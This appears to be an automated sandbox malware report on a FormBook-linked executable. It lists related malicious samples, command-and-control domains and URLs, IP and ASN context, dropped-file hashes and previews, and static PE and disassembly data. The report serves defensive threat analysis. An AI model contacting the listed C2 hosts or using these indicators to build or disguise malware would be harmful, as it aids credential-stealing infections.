                                                                                                                                                • Excluded IPs from analysis (whitelisted): 204.79.197.203
                                                                                                                                                • Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, r.bing.com, a-0003.a-msedge.net, fe3cr.delivery.mp.microsoft.com, api-msn-com.a-0003.a-msedge.net
                                                                                                                                                • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                                • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                • Report size getting too big, too many NtCreateKey calls found.
                                                                                                                                                • Report size getting too big, too many NtEnumerateKey calls found.
                                                                                                                                                • Report size getting too big, too many NtEnumerateValueKey calls found.
                                                                                                                                                • Report size getting too big, too many NtOpenKey calls found.
                                                                                                                                                • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                                                                                                • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                • VT rate limit hit for: UNGSno5k4G.exe

                                                                                                                                                Simulations

                                                                                                                                                Behavior and APIs

                                                                                                                                                TimeTypeDescription
                                                                                                                                                10:23:41API Interceptor1890982x Sleep call for process: replace.exe modified

                                                                                                                                                Joe Sandbox View / Context

                                                                                                                                                IPs

                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                209.74.95.29r6lOHDg9N9.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.onemart.site/frpa/
                                                                                                                                                PO 4800040256.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.sterkus.xyz/ha8h/
                                                                                                                                                PURCHASE ORDER-6350.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.pofgof.pro/gfz9/
                                                                                                                                                POPO00003964.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.sterkus.xyz/ha8h/?86_x=PbxAaK8rSTbGZ+BXmINHlCmvDMYzd7cnW5ERHNgbkCm+3sg74DzBCzS1WsCQlDZBoOF+IY6Xn812UFXfTFX6/xo/4S63CIRytf8/LKIAqG5Hdl7pUAMfsfg=&bVi=_BPd
                                                                                                                                                YSjOEAta07.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.sterkus.xyz/ha8h/
                                                                                                                                                PURCHASE ORDER-6350.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.pofgof.pro/gfz9/
                                                                                                                                                PO23100072.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.pofgof.pro/gfz9/
                                                                                                                                                PO-000001488.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.pofgof.pro/gfz9/
                                                                                                                                                List of Items0001.doc.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                                                                • www.onetoph.xyz/h5ax/
                                                                                                                                                PO2024033194.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.sterkus.xyz/ha8h/
                                                                                                                                                81.2.196.19COMMERCIAL-DOKUMEN-YANG-DIREVISI.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.najmy-modrany.cloud/w6km/
                                                                                                                                                PO 4800040256.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.asociacia.online/bf6k/
                                                                                                                                                rHSBCBank_Paymentswiftcpy.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.kovallo.cloud/whrh/
                                                                                                                                                lPX6PixV4t.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.asociacia.online/jsqu/
                                                                                                                                                Z6s208B9QX.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.asociacia.online/jsqu/
                                                                                                                                                POPO00003964.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.kovallo.cloud/kmgk/?86_x=QukKnG46OQSX7O0/pGHQhAZNgDjtAZwvhEJu7ZdGlt3+bssdK2PjljXXjRv2eFs2wJoIh8oMTDRJEFcKnARzR1AiHrybfE9RbtwBnUJQUZ6Y2f2hOH45l3g=&bVi=_BPd
                                                                                                                                                YSjOEAta07.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.kovallo.cloud/kmgk/
                                                                                                                                                RFQ - HTS45785-24-0907I000.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.asociacia.online/jsqu/
                                                                                                                                                Request for Quotation Hi-Tech Park Project 193200.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.asociacia.online/jsqu/
                                                                                                                                                PO2024033194.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • www.kovallo.cloud/kmgk/

                                                                                                                                                Domains

                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                www.moritynomxd.xyzPO 4800040256.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 172.81.61.224
                                                                                                                                                Order.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                                                                                • 172.81.61.224
                                                                                                                                                POPO00003964.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 172.81.61.224
                                                                                                                                                YSjOEAta07.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 172.81.61.224
                                                                                                                                                Arrival notice.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 172.81.61.224
                                                                                                                                                List of Items0001.doc.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                                                                • 172.81.61.224
                                                                                                                                                PO2024033194.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 172.81.61.224
                                                                                                                                                ncOLm62YLB.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 172.81.61.224

                                                                                                                                                ASNs

                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                ESITEDUSla.bot.arm5.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                • 172.82.100.36
                                                                                                                                                la.bot.arm5.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                • 172.82.23.194
                                                                                                                                                PO 4800040256.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 172.81.61.224
                                                                                                                                                la.bot.mips.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                • 104.171.186.92
                                                                                                                                                Order.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                                                                                • 172.81.61.224
                                                                                                                                                na.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                • 69.87.202.116
                                                                                                                                                POPO00003964.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 172.81.61.224
                                                                                                                                                YSjOEAta07.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 172.81.61.224
                                                                                                                                                Arrival notice.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 172.81.61.224
                                                                                                                                                List of Items0001.doc.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                                                                • 172.81.61.224
                                                                                                                                                AMAZONEXPANSIONGBH1CYDJ8LQe.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 3.33.130.190
                                                                                                                                                p4rsJEIb7k.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 3.33.130.190
                                                                                                                                                wODub61gZe.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 3.33.130.190
                                                                                                                                                r6lOHDg9N9.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 3.33.130.190
                                                                                                                                                ffsBbRe8UN.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 3.33.130.190
                                                                                                                                                09Iz0ja549.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 3.33.130.190
                                                                                                                                                En88bvC0fc.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 3.33.130.190
                                                                                                                                                mBms4I508x.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 3.33.130.190
                                                                                                                                                https://mlflegal.sharefile.com/public/share/web-s929b2bfc135a4aadb68ad5b8c7324a2eGet hashmaliciousUnknownBrowse
                                                                                                                                                • 3.33.222.159
                                                                                                                                                SECRFQ2024-0627 - ON HAND PROJECT - NEOM PROJECTS - SAUDI ELAF Co..exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 3.33.130.190
                                                                                                                                                INTERNET-CZKtis238403KtisCZCOMMERCIAL-DOKUMEN-YANG-DIREVISI.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 81.2.196.19
                                                                                                                                                PO 4800040256.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 81.2.196.19
                                                                                                                                                yGktPvplJn.exeGet hashmaliciousPushdoBrowse
                                                                                                                                                • 81.2.194.241
                                                                                                                                                rHSBCBank_Paymentswiftcpy.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 81.2.196.19
                                                                                                                                                NU1aAbSmCr.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 81.2.196.19
                                                                                                                                                lPX6PixV4t.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 81.2.196.19
                                                                                                                                                Z6s208B9QX.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 81.2.196.19
                                                                                                                                                POPO00003964.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 81.2.196.19
                                                                                                                                                YSjOEAta07.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 81.2.196.19
                                                                                                                                                RFQ - HTS45785-24-0907I000.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 81.2.196.19
                                                                                                                                                MULTIBAND-NEWHOPEUSr6lOHDg9N9.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 209.74.95.29
                                                                                                                                                09Iz0ja549.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 209.74.64.190
                                                                                                                                                En88bvC0fc.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 209.74.64.187
                                                                                                                                                mBms4I508x.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 209.74.64.189
                                                                                                                                                PO-000172483.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 209.74.64.190
                                                                                                                                                COMMERCIAL-DOKUMEN-YANG-DIREVISI.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 209.74.64.58
                                                                                                                                                MV Sunshine.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 209.74.64.58
                                                                                                                                                VkTNb6p288.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 209.74.64.187
                                                                                                                                                #10302024.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                • 209.74.64.58
                                                                                                                                                http://1lyiqb.recodifyphone.net/#john.smith@ups.comGet hashmaliciousEvilProxy, HTMLPhisherBrowse
                                                                                                                                                • 209.74.95.101

                                                                                                                                                JA3 Fingerprints

                                                                                                                                                ⊘No context

                                                                                                                                                Dropped Files

                                                                                                                                                ⊘No context

                                                                                                                                                Created / dropped Files

                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000014.db

                                                                                                                                                Download File
                                                                                                                                                Process:C:\Windows\explorer.exe
                                                                                                                                                File Type:data
                                                                                                                                                Category:dropped
                                                                                                                                                Size (bytes):107304
                                                                                                                                                Entropy (8bit):4.003278911881457
                                                                                                                                                Encrypted:false
                                                                                                                                                SSDEEP:1536:OmKktTbZgsQHNKYebzl0k+ruh8igGonZxr+xyJZUFrOZQKl4mB:OkxbqsQHNKLh8i+UFqB
                                                                                                                                                MD5:BFD2EAC2F21642A81C738EFD8B79FEEE
                                                                                                                                                SHA1:47C975DB4FE96C6747D02E8F7C55960C70C6213A
                                                                                                                                                SHA-256:67B8FFC919D5ADC504FC9F957A8F482E0231E5B27786329D67D13EBBF4BA581A
                                                                                                                                                SHA-512:D609692236B24C224752805C5BA5AAFD67EC9C7840B77BB3D72B653A7D10E33210FB12D46024547A873A4CC6D6898F62695943992FA463D28E8F56D6DF1F97DB
                                                                                                                                                Malicious:false
                                                                                                                                                Reputation:low
                                                                                                                                                Preview:....h... ...(..........P..............X...P...]........... ..........V.......e.n.-.C.H.;.e.n.-.G.B..............................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....N.1...........user..:............................................t.i.n.a.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....\.1...........Microsoft.D............................................M.i.c.r.o.s.o.f.t.....V.1...........Windows.@............................................W.i.n.d.o.w.s.....`.1...........Start Menu..F............................................S.t.a.r.t. .M.e.n.u.................... ..........P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....N.1...........user..:............................................t.i.n.a..

                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\Windows[1].json

                                                                                                                                                Download File
                                                                                                                                                Process:C:\Windows\explorer.exe
                                                                                                                                                File Type:JSON data
                                                                                                                                                Category:dropped
                                                                                                                                                Size (bytes):800
                                                                                                                                                Entropy (8bit):5.135360972365101
                                                                                                                                                Encrypted:false
                                                                                                                                                SSDEEP:12:YWgc2nbH+/TP2rmwVbfH+2yrZMAdrKC8K/y8kEhq1HLxycXNNZ/TCB8Qxc3Z:Yzc2bHu8VDHt0drc6hE10g
                                                                                                                                                MD5:C2B99C5D5BBA597885D4CE9149ECE986
                                                                                                                                                SHA1:451DCCF6F599CEBB7867E99CC3CC3A311D937576
                                                                                                                                                SHA-256:2BC150F338299773E31D3E1E2FFBD143E6797D0C1F4E80C4AD41291B042DDD77
                                                                                                                                                SHA-512:175A93380AFDE1D9F8162B0F54D178666ACE9733EED04DA5603C3EF501B73A6967A5B6853B2264E2DBEBF3937932DA11309E289579972DE4B43AC98279980D3C
                                                                                                                                                Malicious:false
                                                                                                                                                Reputation:low
                                                                                                                                                Preview:{"serviceContext":{"serviceActivityId":"8e9582b1-27a3-48a0-8036-828e6160af2c","responseCreationDateTime":"0001-01-01T00:00:00","debugId":"8e9582b1-27a3-48a0-8036-828e6160af2c|2024-11-05T15:24:44.8495166Z|fabric_msn|EUS2-A|News_250","tier":"\u0000"},"expirationDateTime":"0001-01-01T00:00:00","showBadge":false,"settings":{"refreshIntervalMinutes":0,"feedEnabled":true,"evolvedNotificationLifecycleEnabled":false,"showBadgeOnRotationsForEvolvedNotificationLifecycle":false,"webView2Enabled":false,"webView2EnabledV1":false,"windowsSuppressClientRace":false,"flyoutV2EndpointEnabled":false,"showAnimation":false,"useTallerFlyoutSize":false,"useDynamicHeight":false,"useWiderFlyoutSize":false,"reclaimEnabled":false,"isPreviewDurationsEnabled":false,"1SlockscreenContentEnabled":true},"isPartial":false}

                                                                                                                                                C:\Users\user\AppData\Local\Temp\6U0173jM

                                                                                                                                                Download File
                                                                                                                                                Process:C:\Windows\SysWOW64\replace.exe
                                                                                                                                                File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                                                                                                Category:dropped
                                                                                                                                                Size (bytes):196608
                                                                                                                                                Entropy (8bit):1.1221538113908904
                                                                                                                                                Encrypted:false
                                                                                                                                                SSDEEP:192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
                                                                                                                                                MD5:C1AE02DC8BFF5DD65491BF71C0B740A7
                                                                                                                                                SHA1:6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
                                                                                                                                                SHA-256:CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
                                                                                                                                                SHA-512:01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
                                                                                                                                                Malicious:false
                                                                                                                                                Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                C:\Users\user\AppData\Local\Temp\epistemology

                                                                                                                                                Download File
                                                                                                                                                Process:C:\Users\user\Desktop\UNGSno5k4G.exe
                                                                                                                                                File Type:data
                                                                                                                                                Category:dropped
                                                                                                                                                Size (bytes):287232
                                                                                                                                                Entropy (8bit):7.993652139764978
                                                                                                                                                Encrypted:true
                                                                                                                                                SSDEEP:6144:UudXUdyuxYJi9kUvuX+/9L5xZB1vlWW/+e+k8vNcbPrU3EuQej2l+7KPrfLqhGDZ:UulNgYi9pz9Lhdz+EwcbPrUx2YePrf2Q
                                                                                                                                                MD5:A2795E7A02B091D3A1A003AEB6262ABC
                                                                                                                                                SHA1:ED3446C5AD20D761EC308EACE83B33D12D523520
                                                                                                                                                SHA-256:3F77E85654312EF49871921A1158FDF6221D81D95E556906FF9010C8F6823B77
                                                                                                                                                SHA-512:20BC10CE0207935A9FC49A12B7CBD72B4FBE8BB466AC9AE128BE4D6113349CC19E2C246A867B19DA8EDE07BB663708A7166C090E936A3B283E82AE814CEDDA89
                                                                                                                                                Malicious:false
                                                                                                                                                Preview:.j.e.T8XVh.?....p.O[...fW0...HJ68S8OLHOX0T7NT8XV0HJ68S8OLHO.0T7@K.VV.A...Rt.m.'1CtG<;_*7]h)WV=W;l**xB!Yn=Vx...j[W7]aAEE|0T7NT8X/1A..X4.r,/.eP3.T.lP/.,...s,/.B...r4_..Y+".X4.OLHOX0T7..8X.1IJ..aOLHOX0T7.T:Y]1CJ6hW8OLHOX0T7.A8XV HJ6XW8OL.OX T7NV8XP0HJ68S8ILHOX0T7N4<XV2HJ68S8ML..X0D7ND8XV0XJ6(S8OLHOH0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ.L6@;LHO.~P7ND8XV`LJ6(S8OLHOX0T7NT8Xv0H*68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHOX0T7NT8XV0HJ68S8OLHO

                                                                                                                                                Static File Info

                                                                                                                                                General

                                                                                                                                                File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                Entropy (8bit):7.518343659274368
                                                                                                                                                TrID:
                                                                                                                                                • Win32 Executable (generic) a (10002005/4) 95.11%
                                                                                                                                                • AutoIt3 compiled script executable (510682/80) 4.86%
                                                                                                                                                • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                File name:UNGSno5k4G.exe
                                                                                                                                                File size:1'338'657 bytes
                                                                                                                                                MD5:2635f8b903b80146d303fbb5c6185fe7
                                                                                                                                                SHA1:5316fb8ee46ac71cef28f518217965b39525f3c9
                                                                                                                                                SHA256:36221887f7a5bc5d9ab6c2e9a86a4840c02a834a828acd367925e85e374d0fca
                                                                                                                                                SHA512:bd031536f4711e8a399c35960bf994a522dbcd8a814347c435d0c7728dffbcc64786ecabf6599229f1def3c187275f899a74e30167159dfbaf55965854588c89
                                                                                                                                                SSDEEP:24576:ffmMv6Ckr7Mny5QLeHzs+SprZfFDu9Ha3x7u9ggBwZifk:f3v+7/5QLeH41ZfJxjmaUk
                                                                                                                                                TLSH:7255F112B7D680B6DAA339711A7BF326EB3575194323C5CB97E02E778F211408B36762
                                                                                                                                                File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........

                                                                                                                                                File Icon

                                                                                                                                                Icon Hash:1733312925935517

                                                                                                                                                Static PE Info

                                                                                                                                                General

                                                                                                                                                Entrypoint:0x416310
                                                                                                                                                Entrypoint Section:.text
                                                                                                                                                Digitally signed:false
                                                                                                                                                Imagebase:0x400000
                                                                                                                                                Subsystem:windows gui
                                                                                                                                                Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                                                                                                                DLL Characteristics:TERMINAL_SERVER_AWARE
                                                                                                                                                Time Stamp:0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
                                                                                                                                                TLS Callbacks:
                                                                                                                                                CLR (.Net) Version:
                                                                                                                                                OS Version Major:5
                                                                                                                                                OS Version Minor:0
                                                                                                                                                File Version Major:5
                                                                                                                                                File Version Minor:0
                                                                                                                                                Subsystem Version Major:5
                                                                                                                                                Subsystem Version Minor:0
                                                                                                                                                Import Hash:aaaa8913c89c8aa4a5d93f06853894da

                                                                                                                                                Entrypoint Preview

                                                                                                                                                Instruction
                                                                                                                                                call 00007F985C6FAC4Ch
                                                                                                                                                jmp 00007F985C6EEA1Eh
                                                                                                                                                int3
                                                                                                                                                int3
                                                                                                                                                int3
                                                                                                                                                int3
                                                                                                                                                int3
                                                                                                                                                int3
                                                                                                                                                push ebp
                                                                                                                                                mov ebp, esp
                                                                                                                                                push edi
                                                                                                                                                push esi
                                                                                                                                                mov esi, dword ptr [ebp+0Ch]
                                                                                                                                                mov ecx, dword ptr [ebp+10h]
                                                                                                                                                mov edi, dword ptr [ebp+08h]
                                                                                                                                                mov eax, ecx
                                                                                                                                                mov edx, ecx
                                                                                                                                                add eax, esi
                                                                                                                                                cmp edi, esi
                                                                                                                                                jbe 00007F985C6EEBAAh
                                                                                                                                                cmp edi, eax
                                                                                                                                                jc 00007F985C6EED4Ah
                                                                                                                                                cmp ecx, 00000100h
                                                                                                                                                jc 00007F985C6EEBC1h
                                                                                                                                                cmp dword ptr [004A94E0h], 00000000h
                                                                                                                                                je 00007F985C6EEBB8h
                                                                                                                                                push edi
                                                                                                                                                push esi
                                                                                                                                                and edi, 0Fh
                                                                                                                                                and esi, 0Fh
                                                                                                                                                cmp edi, esi
                                                                                                                                                pop esi
                                                                                                                                                pop edi
                                                                                                                                                jne 00007F985C6EEBAAh
                                                                                                                                                pop esi
                                                                                                                                                pop edi
                                                                                                                                                pop ebp
                                                                                                                                                jmp 00007F985C6EF00Ah
                                                                                                                                                test edi, 00000003h
                                                                                                                                                jne 00007F985C6EEBB7h
                                                                                                                                                shr ecx, 02h
                                                                                                                                                and edx, 03h
                                                                                                                                                cmp ecx, 08h
                                                                                                                                                jc 00007F985C6EEBCCh
                                                                                                                                                rep movsd
                                                                                                                                                jmp dword ptr [00416494h+edx*4]
                                                                                                                                                nop
                                                                                                                                                mov eax, edi
                                                                                                                                                mov edx, 00000003h
                                                                                                                                                sub ecx, 04h
                                                                                                                                                jc 00007F985C6EEBAEh
                                                                                                                                                and eax, 03h
                                                                                                                                                add ecx, eax
                                                                                                                                                jmp dword ptr [004163A8h+eax*4]
                                                                                                                                                jmp dword ptr [004164A4h+ecx*4]
                                                                                                                                                nop
                                                                                                                                                jmp dword ptr [00416428h+ecx*4]
                                                                                                                                                nop
                                                                                                                                                mov eax, E4004163h
                                                                                                                                                arpl word ptr [ecx+00h], ax
                                                                                                                                                or byte ptr [ecx+eax*2+00h], ah
                                                                                                                                                and edx, ecx
                                                                                                                                                mov al, byte ptr [esi]
                                                                                                                                                mov byte ptr [edi], al
                                                                                                                                                mov al, byte ptr [esi+01h]
                                                                                                                                                mov byte ptr [edi+01h], al
                                                                                                                                                mov al, byte ptr [esi+02h]
                                                                                                                                                shr ecx, 02h
                                                                                                                                                mov byte ptr [edi+02h], al
                                                                                                                                                add esi, 03h
                                                                                                                                                add edi, 03h
                                                                                                                                                cmp ecx, 08h
                                                                                                                                                jc 00007F985C6EEB6Eh

                                                                                                                                                Rich Headers

                                                                                                                                                Programming Language:
                                                                                                                                                • [ASM] VS2008 SP1 build 30729
                                                                                                                                                • [ C ] VS2008 SP1 build 30729
                                                                                                                                                • [C++] VS2008 SP1 build 30729
                                                                                                                                                • [ C ] VS2005 build 50727
                                                                                                                                                • [IMP] VS2005 build 50727
                                                                                                                                                • [ASM] VS2008 build 21022
                                                                                                                                                • [RES] VS2008 build 21022
                                                                                                                                                • [LNK] VS2008 SP1 build 30729

                                                                                                                                                Data Directories

                                                                                                                                                NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                IMAGE_DIRECTORY_ENTRY_IMPORT0x8cd3c0x154.rdata
                                                                                                                                                IMAGE_DIRECTORY_ENTRY_RESOURCE0xab0000x9298.rsrc
                                                                                                                                                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                                IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                IMAGE_DIRECTORY_ENTRY_IAT0x820000x840.rdata
                                                                                                                                                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                Sections

                                                                                                                                                NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                .text0x10000x800170x802006c20c6bf686768b6f134f5bd508171bcFalse0.5602991615853659data6.634688230255595IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                .rdata0x820000xd95c0xda00f979966509a93083729d23cdfd2a6f2dFalse0.36256450688073394data4.880040824124099IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                .data0x900000x1a5180x6800e5d77411f751d28c6eee48a743606795False0.1600060096153846data2.2017649896261107IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                .rsrc0xab0000x92980x9400f6be76de0ef2c68f397158bf01bdef3eFalse0.4896801097972973data5.530303089784181IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                                                Resources

                                                                                                                                                NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                RT_ICON0xab5c80x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                                                                                                                                RT_ICON0xab6f00x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                                                                                                                                RT_ICON0xab8180x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                                                                                                                RT_ICON0xab9400x668Device independent bitmap graphic, 48 x 96 x 4, image size 1152EnglishGreat Britain0.48109756097560974
                                                                                                                                                RT_ICON0xabfa80x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512EnglishGreat Britain0.5672043010752689
                                                                                                                                                RT_ICON0xac2900x128Device independent bitmap graphic, 16 x 32 x 4, image size 128EnglishGreat Britain0.6418918918918919
                                                                                                                                                RT_ICON0xac3b80xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsEnglishGreat Britain0.7044243070362474
                                                                                                                                                RT_ICON0xad2600x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsEnglishGreat Britain0.8077617328519856
                                                                                                                                                RT_ICON0xadb080x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsEnglishGreat Britain0.5903179190751445
                                                                                                                                                RT_ICON0xae0700x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishGreat Britain0.5503112033195021
                                                                                                                                                RT_ICON0xb06180x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishGreat Britain0.6050656660412758
